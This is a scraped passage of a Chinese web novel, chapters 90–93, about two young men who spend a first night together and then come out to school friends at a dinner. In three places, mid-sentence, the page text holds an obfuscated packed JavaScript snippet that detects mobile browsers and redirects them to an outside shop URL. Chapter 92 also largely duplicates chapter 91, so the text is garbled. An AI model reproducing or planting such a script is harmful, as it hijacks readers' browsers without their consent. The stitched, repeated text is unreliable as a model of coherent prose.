林清宇想到梁米叶笑笑,他弯着嘴角说,“倒也吓不死,不过想搞地下恋情也随你,我听你的。” 他把筷子递给安闻,坐在餐桌边上吃饭。 安闻低头挑面,抬头就看见林清宇眼含泪光,“你......”他慌了,放下筷子凑到林清宇身边,“你别哭啊,我不是不给你名分,大不了......”安闻心一横,“大不了明天我就告诉他们,你是我男朋友。” 林清宇抽了一张纸,半晌没说话,把鼻涕眼泪擦干净,才闷闷地说,“说话不算数的人是小狗。” “嗯,我说话一定算话。”安闻拍拍他的肩膀安慰,“林清宇,我真的让你这么没有安全感吗?自从在一起之后你总哭。” “嗯......”林清宇指着桌面上的小碟子,说道,“你要不尝尝?” 安闻疑惑地张嘴,吃进去林清宇递过来的一筷子小菜。 动作瞬间凝固,辛辣直冲天灵盖,泪水瞬间涌出。 ——芥末螺片。 安闻边哭边捶打林清宇,被林清宇拉过来,坐在腿上。 “刚才可是说好了,说话不算话的是小狗。”林清宇蜻蜓点水地亲吻安闻的唇,“不能反悔。” 吃完饭,天光将暗,安闻依依不舍地告别,“我该回家了。” 明明拉过手,接过吻,见过家长,却一天比一天扭捏。 从前,林清宇经常去梁米家睡沙发,梁米也会去林清宇家蹭住,那时虽各怀鬼胎,但非常自然。 反而自从确认关系后,小情侣白天腻在一起,晚上各回各家,一个说要走,一个不挽留,异常默契。 两个人的关系很微妙,像是坐在了天平的两边,稳定摇晃,产生了动态的平衡。 文文在安闻脚边晃来晃去,叼着他的鞋带表示不舍。 林清宇不耐烦地用脚拨开那傻狗,说着每晚分开前都会说的话,“我送你出去。” 安闻侧身让开玄关换鞋的位置,看着慢吞吞系鞋带的林清宇,又低头看看摇头摆尾的文文,小声嘟囔,“傻狗。” 猛地,手腕被一拽,跌进了林清宇的怀抱。 胸膛上下起伏,呼吸变得急促,安闻感觉得到,他的嘴巴嗫嚅数次,却没有听到声音。 “林清宇?”安闻轻轻叫了一声他的名字。 “嗯。”林清宇应声,鼻尖的热气喷进安闻耳廓,炙热,甚至滚烫。 “我......”安闻回抱住林清宇的腰,结结巴巴道,“我还没......没准备好。” 林清宇双臂收紧,沉默片刻。 耳畔传来轻快的笑,林清宇在安闻的耳边,戏谑地说道,“我说最近怎么一直躲着我呢,小脑袋瓜子都装了什么黄色废料?” 安闻一怔,想抬眼看他,又羞于直视,耷拉着眼皮咕哝,“每天都来你家报道,才没有躲着你。” 睫毛扑簌扑簌地抖动,在下眼睑投射出扇形的阴影,脸上大片大片的红晕蔓延到脖颈,林清宇垂头看着闪躲又害羞的少年,心尖儿都快化出水来。 这样乖顺的安闻反而激发了林清宇的恶劣,柔软的嘴唇贴上安闻的耳廓,喷着热气,在他耳边低吟,“今晚留下好不好?” 脑中的烟花轰燃,安闻周身一震,半晌没有动作。 林清宇不再闹他,低下头,轻轻吻了上去,安闻还是发愣的状态,偏开脸莫名其妙地说了一句,“我......我怕疼。” 18岁的年龄,血气方刚。家里的空调一定是坏掉了,林清宇觉得整个屋子都闷热地快要炸掉。 偏偏这时候,安闻这个小祖宗,撩人又不自知。他将双手换在林清宇的脖颈上,生涩地唤他的名字,“林清宇。” 林清宇低下头去应,迎上一双清澈的眼睛,眼睛里藏了许多话,欲语还休,灵动得让人心痒痒。 他收紧手臂环住安闻的腰,不自觉地将声音放轻、放柔,注视着眼前的人,等着他的话。 “你再给我一点时间,好不好?”安闻道。 输了,彻底输了,面对这样软绵绵的爱人,林清宇甘心认输,他箍住安闻的后脑,对准唇珠咬了上去,真是一只蛊惑人心的小妖精。 安闻的嘴唇因为疼痛不自觉地张开,林清宇的舌头直接钻了进去,毫无耐心地翻搅着最柔软湿润的部分,口腔内的空气被吸干,只留下啧啧的水声,舔咬,交缠。 直到被怀中的人闷哼着推离,林清宇才勉强停下,安闻大口大口的呼吸新鲜空气,双唇晶亮莹润,“我要死了林清宇,喘不上来气。” 林清宇双手捧着安闻的脸,深黑的瞳孔有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317902|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涣散,被他吻过的双唇不自觉张开,他用大拇指擦掉安闻嘴角不听话的津液,额头抵着额头,用沙哑的声线诱引,“今晚不要走,我抱着你睡觉。”停顿一秒,又欲盖弥彰地来了一句,“什么都不做。” 这样黏腻的场景,这样撩拨的语调。安闻的眼睛终于聚焦,亮亮的,弯着眼角,“好,我留下陪你睡觉。”中华文字博大精深,他微皱眉头补充道,“今晚的睡觉是名词。” 林清宇看着他轻笑,揉揉安闻的头发,宠溺地应了声“好”。 上次两人在卧室接吻被白月洁打断后,林清宇就搬回了自己的院子。此时院子里,只有两人一狗。 立秋过后,晚风微凉,早晨下过一场雨,此刻的天空深邃澄澈,星星一览无遗。 两人躺在院前的摇椅上看天,文文坐在旁边,目不转睛地盯着严丝合缝搂抱在一起的人,大概是在疑惑,小小的单人躺椅,既然能挤下两个人,为什么不带自己。 林清宇余光看见文文一动不动,就偏过头唤它,“文文,过来。” 安闻闻声一同转头,引得林清宇阵阵发笑,两人离得太近,安闻不好施展家暴手段,情急之下咬了林清宇下巴一口。两人刚才洗了澡,身上是同样的柑橘柠檬味,还带着些薄荷味的清凉。 摇椅随着林清宇的笑摇摇晃晃。文文凑到近处觉得好奇,也时不时用爪子扒拉一下。 安闻转身将姿势变为平躺,余光里一人笑得花枝乱颤,一狗咧着嘴角晃摇椅玩,他也情不自禁弯了嘴角,低声笑骂,“傻狗”。 林清宇凑过来,在他唇边轻点,“安闻,什么时候开始喜欢我的?” 夜色静谧,安闻思考片刻,转过身来和林清宇面对面,坦白承认,“我不知道。” “我真的不知道。好傻啊,我连男人可以喜欢男人都不知道。见了想逃,不见又想,还以为是因为习惯了你的存在。根本不觉得这是喜欢。”他无奈地摇摇头,抿着嘴角陷入回忆,“现在想想,不想让你的眼睛看别人,就是占有欲,占有欲就是喜欢。那我应该是很早很早以前,就喜欢你了。” “那是什么时候知道自己喜欢男人的?”林清宇问。 安闻警觉,掐住他的脖子问,“林清宇,你在跟我翻旧账吗?” “不敢。”林清宇不顾脖子上的手,凑近在他唇上轻吻,“”怕你给自己上紧箍咒,疼得死去活来我却什么都不知道。” 安闻收回手,与林清宇十指紧扣,“也没有死去活来,南风煤矿爆炸那天,我跑出去找你,满心都想着你不能有事。后来看见梁米和赵鸣飞,才明白我喜欢你。”细碎的星光映在安闻眸子上,他闭上眼睛窝进林清宇怀里,“那时我想着赌一把,也许你愿意陪我赌,那我就赢了。” 林清宇摩挲着他的后颈,心里细细密密地疼。后来安闻姑姑去世,安黎明去世。他不敢想象,安闻经过多少挣扎,强迫自己放下。 “怪我。”林清宇轻吻他的头发,语调带着浓重的自责,“当初我就应该流氓一点儿,混账一点儿,直接把你扛回家,管你喜欢罗晴还是喜欢男人,因为我顾虑太多,才让你多受了那么多罪。” 安闻的手向下探去,握住顶在自己小腹的硬物揶揄,“你就是这么自责赔罪的?” 91.睡觉 手机铃声响了一遍又一遍,安闻才从浓重的倦意中苏醒过来。他闭着眼,摸索着声音的来源,摸到了一只温润的手。 “你醒啦?”林清宇刚刚被铃声吵醒,同样眯着眼睛去摸手机,他的声音里还带着晨起的沙哑和温柔。 安闻一激灵,睁开了眼睛。昨晚窗帘没有全部拉上,日光透进来大片,晃得他眯眯眼,就看见了林清宇侧脸笼罩在一片阳光下。 人醒了,脑子也开始苏醒,安闻后知后觉的羞耻漫上了脸颊,他奶猫儿叫一般得“嗯”了一声,把头藏进了被子里。 这一藏本不要紧,可偏偏昨晚两人没羞没臊,安闻直接受到了大片视觉攻击。 林清宇看着安闻似梦初觉般的害羞,觉得好笑又想逗趣,他也钻进了被子里,手臂按住安闻的后腰,与他贴在一起吻他,“早安,男朋友。” 安闻感觉到变化,眼睛瞬间睁大,不知道哪里来的蛮力推开了林清宇,他仍喘着,面色绯红,眼神躲避道,“大白天的,别这样。” 林清宇被推开也没恼,反而狡黠得眨着眼睛,“那晚上可以这样吗?” 他没有真用力,安闻稍一挣扎就躲开了作祟的手,他坐起来,用被子遮着腰部以下,支支吾吾问道,“你有新内裤吗?” 林清宇平躺着等待身体反应平静,两人昨晚闹得太过,洗漱完已经11点多。林清宇给安闻找了套自己没穿过的衣服,抱着他说,“昨天是开玩笑,如果你有顾虑,那么我们的感情不需要让别人知道。” 感情是很私密的两个人的事情,况且他们还是两个男人,安闻是有些顾虑,这些人都是他们高中三年最好的朋友,不知道他们能不能接受两个男人的感情。 这份感情来之不易,安闻想得到大家的祝福,但如果结果不确定,那就暂时不要公开。 只是,罗晴知道自己喜欢男人,而且自己当时还骗过她说自己不喜欢林清宇。现在要在他们面前,假装没有在一起,安闻觉得既别扭,又心虚。 林清宇总是能看穿他的顾虑,边帮他穿衣服边说,“我们就是去朋友聚会的,放宽心,交给我,你什么都不用做。” “林清宇,对不起。我确实有顾虑,我们就暂时保密吧。”他双手环上林清宇的脖子,轻点对方的唇角,生疏地哄人,“我男朋友怎么这么好。” 林清宇很享受这样的安闻,虽然生疏,但是用心,他吻回去,与他鼻尖对鼻尖,迟疑片刻,还是觉得有必要提醒一下他的男朋友,“不过......”林清宇有些迟疑。 安闻:“嗯?” “梁米和叶笑笑都知道咱俩的事。”林清宇坦白说道。 不足为奇,叶笑笑和梁米知道林清宇喜欢自己,这安闻是知道的,他看到过叶笑笑和林清宇的微信消息,而且高三时,自己和林清宇单方面绝交,梁米还劝他来着。 安闻追本溯源地回想,倏地眼睛睁大锤了林清宇一拳,“梁米什么时候知道的?” 林清宇被锤傻了,半晌才反应过来捂住胸口,“谋杀亲夫!” 没得到答案,安闻拽住林清宇的衣领,十分在意地重新问了一遍,“梁米什么时候知道的?” 林清宇想了想,回答说,“你十七岁生日之前他就知道了。” “那不就是高二刚开学?”安闻恶狠狠地又锤了他一拳,“你是真藏不住事啊。” 林清宇也不装疼了,颇为得意地挑眉,“没办法,有一句话怎么说来着,咳嗽和爱是藏不住的。” 往事一幕幕涌上心头,既然梁米在高二刚开学就知道,那很多事情就能捋顺了。 “所以高二梁米那一包药也不是什么痔疮膏?” “嗯。” “所以高三他以为我们是分手闹别扭?” “应该是。” “所以!......”所以那时候梁米一直以为是我被你睡了...... 当然,后面这句话安闻没好意思说出口,但是他快气死了,自己莫名其妙在梁米心里当了两年渣男。 见安闻没了下文,一副气鼓鼓的样子。林清宇反手抱住他的腰解释,“你17岁生日的时候,叶笑笑就看出来我喜欢你,后来我滑旱冰的时候,我直接跟她摊牌。梁米也知道,但是应该不知道我们在一起了。”像是知道安闻心里想什么似的,他用下巴蹭蹭安闻的头发,补充说,“后来,我跟他解释过的,你放心。他知道是我单方面喜欢你,你清清白白的,什么都没跟我做。” 清清白白?安闻刚才确实是急梁米误会了两人的关系,但是用清清白白四个字划清和林清宇的关系,他又有些不是味儿。况且,现在也不清白了。 林清宇没有意识到这么一会儿时间,安闻心里已经走过了这么多弯弯绕,他继续给安闻打预防针,说道,“不过一会儿如果我们同时出现,我不能保证他以后怎么想。而且,罗晴知道你喜欢男人,她和叶笑笑是闺蜜,这么长时间过去,我不觉得她猜不到我们的关系。” 安闻安安静静地趴在林清宇肩头,在脑海里扒拉手指头算着,这次聚会一共八个人,除了他们两个,剩下的六个人里有一半的人知道他们两个的事,原本只是知道林清宇喜欢自己,一会儿他们两个同时出现,这三个人应该就能确定了。 他凶巴巴地咬了一口林清宇的嘴唇,“让你管不住嘴!咬死你。” 被咬的人没有躲,反而用舌头勾舔着咬在自己嘴唇上的牙齿,得寸进尺。 “聚会我都不想去了,太考验我演技了。”安闻在林清宇怀里哼哼唧唧,“一半人都知道我们在一起,我还要演给另外三个人看,我觉得我自己会精分的。” 林清宇用舌头轻舔被安闻咬过的地方,略作思索,安抚道,“一会儿我们见机行事,问题你都推给我,我来解决。” 安闻有些眼酸,从小到大,他遇到事情的时候,都希望有超人从天而降,但是很可惜,安黎明不能依靠,从小安闻就要靠自己。 从来没有想过,自己会谈恋爱,更没敢想过自己也有被保护的一天。 林清宇是第一个告诉安闻,什么都不需要安闻做的人。虽然安闻知道,自己要做的很多,不能一直这样依靠林清宇,林清宇会累,会烦,会厌,但安闻能听到这句话,就很知足了。 他趴在林清宇肩膀上,瓮声瓮气地说,“林清宇,你是超人。” 在我漫长无光的人生中,从天而降的超人,专属我的超人。 两人本就起得迟了,厮磨半天才出门,卢远一路上就连环夺命call,安闻到后来干脆不接了。 两人进包厢的时候,所有人都已经到齐,桌上摆了一堆酒水饮料,看来今天不大醉一场不会罢休。 卢远抬手,略显浮夸和激动,“呦呦呦,一猜你就是要带学霸,还藏着掖着保密什么。”手握成拳,眼看就要砸在肩膀上,安闻下意识躲到林清宇身后,卢远的拳头就势落在林清宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321616|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,“学霸,不出国了?” 话锋一转,扯到林清宇身上,安闻听得出,卢远语气有些不满,不是对林清宇这个人,而且对他闷声不响要出国这个事。 “一声不吭就要出国,又一声不吭去了H大,我都震惊了,家里有矿就能任性,原来是这么个任性法。”王光武玩笑着帮林清宇解围,语气里却也透着惋惜。 当初,因为林清宇要出国,错过了毕业聚餐。同学们就都在说,像林清宇家的条件,就算不高考,不上大学,也一辈子吃喝不愁,有钱就可以任性。但是他们这个小圈子里的人都知道,林清宇从来没有因为自己家里的条件骄傲任性过,也从没有想着依靠家里,他们都一样,夜以继日地学习,想凭借自己的努力出人头地。 王光武和卢远私下就聊过,觉得林清宇很可惜,明明能A大横着走的成绩,偏要出国,后来又去了H大,拿自己的前途开玩笑。 “就是,心多大啊,A大都不去。”梁米也跟着附和,但语气耐人寻味,让安闻不免脸红多思。一想到这一切都是因为自己,心里就非常不舒服。他往前一步,把卢远推回自己座位上,戏谑着说,“学霸出不出国不是你等凡人该操心的事儿,该干嘛干嘛去。” 叶笑笑瞥了一眼安闻,玩味道,“啧,跟林清宇混了两年,都看不上我等凡人了。” “也是,像安闻进步这么多的人,刘老师都说了,他没见过。确实不是凡人。”徐佑华中规中矩分析,眼睛扫过林清宇,“还得是学霸教得好,安闻提高了将近100分。” “说的好像林清宇没教你似的,咱们这桌的人都得谢谢林清宇,安闻吃肉,咱们可没少跟着喝汤。”罗晴甩开卢远牵她的手,推了推菜单,“先点菜,饿死了。” 梁米一直没有说话,坐着观察每一个人,听到罗晴的话才插嘴说道,“我可不谢他,汤是被迫喝的,狗粮也是被迫吃的。” 安闻心虚地偷看林清宇一眼,两人恰巧对视,立刻触电般地偏过头去。 “哎哎哎,你们先别打岔,我老婆饿了,先点菜。”卢远把菜单往桌子上一拍,“人逢喜事,我请客,你们随便点。” 大家的注意力全被卢远的“老婆”吸引,视线一个个直直地射向罗晴,直来直往的人难得有了害羞的表情,红着脸横道,“别瞎叫。” 火力集中到卢远的恋爱八卦上,安闻短暂地松了一口气。 趁众人不察,林清宇在桌下轻轻捏安闻的手,用只有两个人的声音说,“他们都不懂,我真去了A大,才叫遗憾。” 安闻反手捏住林清宇的手,做贼心虚地环视一圈,正对上梁米看过来的视线。 对方气定神闲地举起杯子,朝着安闻微微一笑,安闻发窘,举起杯子回敬。 “干什么呢?”王光武给每各杯子倒满了酒,“拿两杯水比比划划的不像话,咱们先让人逢喜事的凡人提一个。” 卢远闻言站起来,支吾了半天,转头对罗晴说,“女王,你陪我站一个呗。” 罗晴虽然害羞,但也不扭捏,她大方地站起来,握住卢远的手。 卢远顿时有了底气,举起两人相握的手,举杯道,“就你们看到的,我女神终于同意跟我在一起了。” 王光武带头跟着起哄,什么新婚快乐,早生贵子,白头偕老,把毕生所学的祝福话都说了个遍,饭桌上喝了一轮,气氛也逐渐热络起来。 这时,林清宇也站了起来。 92.超人 他没有真用力,安闻稍一挣扎就躲开了作祟的手,他坐起来,用被子遮着腰部以下,支支吾吾问道,“你有新内裤吗?” 林清宇平躺着等待身体反应平静,两人昨晚闹得太过,洗漱完已经11点多。林清宇给安闻找了套自己没穿过的衣服,抱着他说,“昨天是开玩笑,如果你有顾虑,那么我们的感情不需要让别人知道。” 感情是很私密的两个人的事情,况且他们还是两个男人,安闻是有些顾虑,这些人都是他们高中三年最好的朋友,不知道他们能不能接受两个男人的感情。 这份感情来之不易,安闻想得到大家的祝福,但如果结果不确定,那就暂时不要公开。 只是,罗晴知道自己喜欢男人,而且自己当时还骗过她说自己不喜欢林清宇。现在要在他们面前,假装没有在一起,安闻觉得既别扭,又心虚。 林清宇总是能看穿他的顾虑,边帮他穿衣服边说,“我们就是去朋友聚会的,放宽心,交给我,你什么都不用做。” “林清宇,对不起。我确实有顾虑,我们就暂时保密吧。”他双手环上林清宇的脖子,轻点对方的唇角,生疏地哄人,“我男朋友怎么这么好。” 林清宇很享受这样的安闻,虽然生疏,但是用心,他吻回去,与他鼻尖对鼻尖,迟疑片刻,还是觉得有必要提醒一下他的男朋友,“不过......”林清宇有些迟疑。 安闻:“嗯?” “梁米和叶笑笑都知道咱俩的事。”林清宇坦白说道。 不足为奇,叶笑笑和梁米知道林清宇喜欢自己,这安闻是知道的,他看到过叶笑笑和林清宇的微信消息,而且高三时,自己和林清宇单方面绝交,梁米还劝他来着。 安闻追本溯源地回想,倏地眼睛睁大锤了林清宇一拳,“梁米什么时候知道的?” 林清宇被锤傻了,半晌才反应过来捂住胸口,“谋杀亲夫!” 没得到答案,安闻拽住林清宇的衣领,十分在意地重新问了一遍,“梁米什么时候知道的?” 林清宇想了想,回答说,“你十七岁生日之前他就知道了。” “那不就是高二刚开学?”安闻恶狠狠地又锤了他一拳,“你是真藏不住事啊。” 林清宇也不装疼了,颇为得意地挑眉,“没办法,有一句话怎么说来着,咳嗽和爱是藏不住的。” 往事一幕幕涌上心头,既然梁米在高二刚开学就知道,那很多事情就能捋顺了。 “所以高二梁米那一包药也不是什么痔疮膏?” “嗯。” “所以高三他以为我们是分手闹别扭?” “应该是。” “所以!......”所以那时候梁米一直以为是我被你睡了...... 当然,后面这句话安闻没好意思说出口,但是他快气死了,自己莫名其妙在梁米心里当了两年渣男。 见安闻没了下文,一副气鼓鼓的样子。林清宇反手抱住他的腰解释,“你17岁生日的时候,叶笑笑就看出来我喜欢你,后来我滑旱冰的时候,我直接跟她摊牌。梁米也知道,但是应该不知道我们在一起了。”像是知道安闻心里想什么似的,他用下巴蹭蹭安闻的头发,补充说,“后来,我跟他解释过的,你放心。他知道是我单方面喜欢你,你清清白白的,什么都没跟我做。” 清清白白?安闻刚才确实是急梁米误会了两人的关系,但是用清清白白四个字划清和林清宇的关系,他又有些不是味儿。况且,现在也不清白了。 林清宇没有意识到这么一会儿时间,安闻心里已经走过了这么多弯弯绕,他继续给安闻打预防针,说道,“不过一会儿如果我们同时出现,我不能保证他以后怎么想。而且,罗晴知道你喜欢男人,她和叶笑笑是闺蜜,这么长时间过去,我不觉得她猜不到我们的关系。” 安闻安安静静地趴在林清宇肩头,在脑海里扒拉手指头算着,这次聚会一共八个人,除了他们两个,剩下的六个人里有一半的人知道他们两个的事,原本只是知道林清宇喜欢自己,一会儿他们两个同时出现,这三个人应该就能确定了。 他凶巴巴地咬了一口林清宇的嘴唇,“让你管不住嘴!咬死你。” 被咬的人没有躲,反而用舌头勾舔着咬在自己嘴唇上的牙齿,得寸进尺。 “聚会我都不想去了,太考验我演技了。”安闻在林清宇怀里哼哼唧唧,“一半人都知道我们在一起,我还要演给另外三个人看,我觉得我自己会精分的。” 林清宇用舌头轻舔被安闻咬过的地方,略作思索,安抚道,“一会儿我们见机行事,问题你都推给我,我来解决。” 安闻有些眼酸,从小到大,他遇到事情的时候,都希望有超人从天而降,但是很可惜,安黎明不能依靠,从小安闻就要靠自己。 从来没有想过,自己会谈恋爱,更没敢想过自己也有被保护的一天。 林清宇是第一个告诉安闻,什么都不需要安闻做的人。虽然安闻知道,自己要做的很多,不能一直这样依靠林清宇,林清宇会累,会烦,会厌,但安闻能听到这句话,就很知足了。 他趴在林清宇肩膀上,瓮声瓮气地说,“林清宇,你是超人。” 在我漫长无光的人生中,从天而降的超人,专属我的超人。 两人本就起得迟了,厮磨半天才出门,卢远一路上就连环夺命call,安闻到后来干脆不接了。 两人进包厢的时候,所有人都已经到齐,桌上摆了一堆酒水饮料,看来今天不大醉一场不会罢休。 卢远抬手,略显浮夸和激动,“呦呦呦,一猜你就是要带学霸,还藏着掖着保密什么。”手握成拳,眼看就要砸在肩膀上,安闻下意识躲到林清宇身后,卢远的拳头就势落在林清宇身上,“学霸,不出国了?” 话锋一转,扯到林清宇身上,安闻听得出,卢远语气有些不满,不是对林清宇这个人,而且对他闷声不响要出国这个事。 “一声不吭就要出国,又一声不吭去了H大,我都震惊了,家里有矿就能任性,原来是这么个任性法。”王光武玩笑着帮林清宇解围,语气里却也透着惋惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338308|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当初,因为林清宇要出国,错过了毕业聚餐。同学们就都在说,像林清宇家的条件,就算不高考,不上大学,也一辈子吃喝不愁,有钱就可以任性。但是他们这个小圈子里的人都知道,林清宇从来没有因为自己家里的条件骄傲任性过,也从没有想着依靠家里,他们都一样,夜以继日地学习,想凭借自己的努力出人头地。 王光武和卢远私下就聊过,觉得林清宇很可惜,明明能A大横着走的成绩,偏要出国,后来又去了H大,拿自己的前途开玩笑。 “就是,心多大啊,A大都不去。”梁米也跟着附和,但语气耐人寻味,让安闻不免脸红多思。一想到这一切都是因为自己,心里就非常不舒服。他往前一步,把卢远推回自己座位上,戏谑着说,“学霸出不出国不是你等凡人该操心的事儿,该干嘛干嘛去。” 叶笑笑瞥了一眼安闻,玩味道,“啧,跟林清宇混了两年,都看不上我等凡人了。” “也是,像安闻进步这么多的人,刘老师都说了,他没见过。确实不是凡人。”徐佑华中规中矩分析,眼睛扫过林清宇,“还得是学霸教得好,安闻提高了将近100分。” “说的好像林清宇没教你似的,咱们这桌的人都得谢谢林清宇,安闻吃肉,咱们可没少跟着喝汤。”罗晴甩开卢远牵她的手,推了推菜单,“先点菜,饿死了。” 梁米一直没有说话,坐着观察每一个人,听到罗晴的话才插嘴说道,“我可不谢他,汤是被迫喝的,狗粮也是被迫吃的。” 安闻心虚地偷看林清宇一眼,两人恰巧对视,立刻触电般地偏过头去。 “哎哎哎,你们先别打岔,我老婆饿了,先点菜。”卢远把菜单往桌子上一拍,“人逢喜事,我请客,你们随便点。” 大家的注意力全被卢远的“老婆”吸引,视线一个个直直地射向罗晴,直来直往的人难得有了害羞的表情,红着脸横道,“别瞎叫。” 火力集中到卢远的恋爱八卦上,安闻短暂地松了一口气。 趁众人不察,林清宇在桌下轻轻捏安闻的手,用只有两个人的声音说,“他们都不懂,我真去了A大,才叫遗憾。” 安闻反手捏住林清宇的手,做贼心虚地环视一圈,正对上梁米看过来的视线。 对方气定神闲地举起杯子,朝着安闻微微一笑,安闻发窘,举起杯子回敬。 “干什么呢?”王光武给每各杯子倒满了酒,“拿两杯水比比划划的不像话,咱们先让人逢喜事的凡人提一个。” 卢远闻言站起来,支吾了半天,转头对罗晴说,“女王,你陪我站一个呗。” 罗晴虽然害羞,但也不扭捏,她大方地站起来,握住卢远的手。 卢远顿时有了底气,举起两人相握的手,举杯道,“就你们看到的,我女神终于同意跟我在一起了。” 王光武带头跟着起哄,什么新婚快乐,早生贵子,白头偕老,把毕生所学的祝福话都说了个遍,饭桌上喝了一轮,气氛也逐渐热络起来。 这时,林清宇也站了起来。 93.出柜 安闻手心一紧,蓦地想起林清宇出门前说的话,让自己什么都别管,交给他。 他拽了一下林清宇的衣角,林清宇低头笑了笑,随后举起酒杯,“对不住大家,高考之后我出了一些事情,所以一直没跟大家联系,让大家担心了,这杯酒我道歉。” “就这?”徐佑华有些失望地放下酒杯。 “就是,我还以为你也要公开恋情呢。”王光武似笑非笑,眼光在安闻和林清宇之间巡视。 梁米站起来,给大家的酒杯倒上酒,轮到安闻的时候,安闻扫了一眼林清宇,把手覆在杯口上,“我不能喝。” 梁米没有勉强,意味深长地说了一句,“家教挺严,不喝就不喝吧。” “不行!”卢远站起来,接过梁米手里的酒瓶,“这高兴日子,我兄弟怎么能不能喝酒呢,来来来,我给他满上。” 安闻的手还覆在杯口,他答应过林清宇,以后不再喝酒。面对卢远的不依不饶,他下意识向林清宇求助。 林清宇还端着酒杯站着,他巡视一圈,除了卢远大家表情各异,梁米和王光武作壁上观,看热闹不嫌事大,叶笑笑和罗晴表情有些僵硬,尤其是罗晴,不善表情管理,一副恍然大悟的样子。徐佑华很平静,但通过刚才的话和现在担忧的表情来看,应该也是知道一些的。 “卢远,你别多事。”罗晴回神,拍开卢远的手,帮安闻推拒。 卢远脑子不带拐弯,倒没有多想。安闻总觉得哪里不对劲,他看向林清宇,恰巧林清宇也在低头看他,那眼神好像是在征求他的意见,又好像是在通知他。 “既然你们希望我公开恋情,那我就不藏着掖着了。”林清宇道。 桌上的人异常平静,只有卢远稀里糊涂地笑骂,“别他妈逗了,天天跟安闻腻一起学习,跟谁恋去。” 气氛有一点儿微妙,大家都没有说话,但是视线却不停在其他人脸上逡巡,眼神变幻莫测。 许久,卢远道,“卧槽!不会吧!” 众人深吸一口气,绷直肩膀,等着卢远参悟真相。 “你不会高三复习那么紧张,还有精力搞网恋异地恋吧?”卢远大惊。 话一落,包厢里忽然安静下来,卢远目之所及都是赞赏的目光看着他,卢远都被自己的智慧惊着了,他谨慎地确认,“我猜对了?” 空气彷佛凝固了,众人沉默片刻,都轻轻点了下头。梁米幽幽地说了句,“大概是吧。” “不愧是学霸,牛逼啊。”卢远松了一口气,继续吹捧,但语气明显迟疑和焦灼,“不过,你们怎么都知道?” 叶笑笑终于忍不住哈哈大笑,“傻子都能看出来吧!很明显啊。” 卢远还是不解,他看向罗晴想寻一个答案,罗晴给了他一个白眼,神色尴尬地看向林清宇。 几人的眼神形成了一个闭环,最终落在了安闻脸上,安闻表情非常精彩,紧张、躲避、迟疑、沮丧、吃惊、故作镇定,总之,一般人很难在一张脸上,同时看到这么多表情。 林清宇略微弯腰,用大家都能听见的声音说着悄悄话,“我可以官宣了吗?” 欺负人,林清宇就是在欺负人。大家的视线都在他俩身上,安闻快冒烟了,热度涌上脸,向脖颈处开始蔓延,如果现在点一把火,一定会看到浓烟滚滚,湿炭烤牛排都不会有这么多烟。 牛排怎么烤安闻不在意,林清宇的108种烤法逐渐在脑海中成型。 必须打一架,不是你死就是我亡的那种。安闻心里想,今天回家,必须打一架,必须打到林清宇蹲墙角唱《征服》,否则难解逼鸭上架之恨。 但是现在。软了,服了,妥协了。现在,还是要给男朋友一个面子,他羞愤地瞪了林清宇一眼,“你也要你的王陪你站一个吗?” 王光武非常不耐烦,用酒杯敲着桌子,“赶紧的吧,给卢远一个痛快。” 罗晴有眼色地将周围能摔打的东西挪走,握住了卢远的手,“一会儿你尽量保持情绪稳定,打人不打脸。” 卢远茫然地看着几人的反应,面部僵硬,“你俩真的假的啊?” 林清宇手握成拳头,堵在唇边笑笑,另一只手覆上安闻盖在酒杯的手背,鹦鹉学舌道,“就你们看到的,我男神终于同意跟我在一起了。” 众人齐齐笑了出来,敲桌子的,跺脚的,都在起哄。只有卢远,恍然大悟之后的沮丧,他低着头跟罗晴说悄悄话。安闻细细地看着,分辨不出卢远的表情。 他鼓起勇气站起来,手还被林清宇握着,“阿远,如果你不能接受......”安闻有些沮丧,如果卢远不能接受,那他就要失去一个朋友吗? “艹!”卢远突然拍桌站起,打断了安闻的思路,“安小闻,我跟你断交5分钟。” 安闻一愣,不懂卢远的脑回路,只听卢远委屈地说,“他们都知道,就我不知道。” 罗晴和安闻都长舒一口气,又齐齐看向他。 卢远就像一只受惊的鸵鸟,低着头倒酒,还歪着脑袋往罗晴身上凑,“连我老婆都瞒着我。” 林清宇:“那你该跟你老婆断交5分钟。” 卢远一口喝尽杯里的酒,黏糊着罗晴说,“那我才舍不得,我老婆即使骗我,也是善意的谎言,不像你们,瞒着我看我笑话。” 安闻百口莫辩,“我没故意瞒着你,我也不知道他们是怎么知道的。”说完看向林清宇。 林清宇无奈道,“说吧,你们都是怎么知道的?”他的眼光扫向王光武和徐佑华,两人只能坦白从宽。 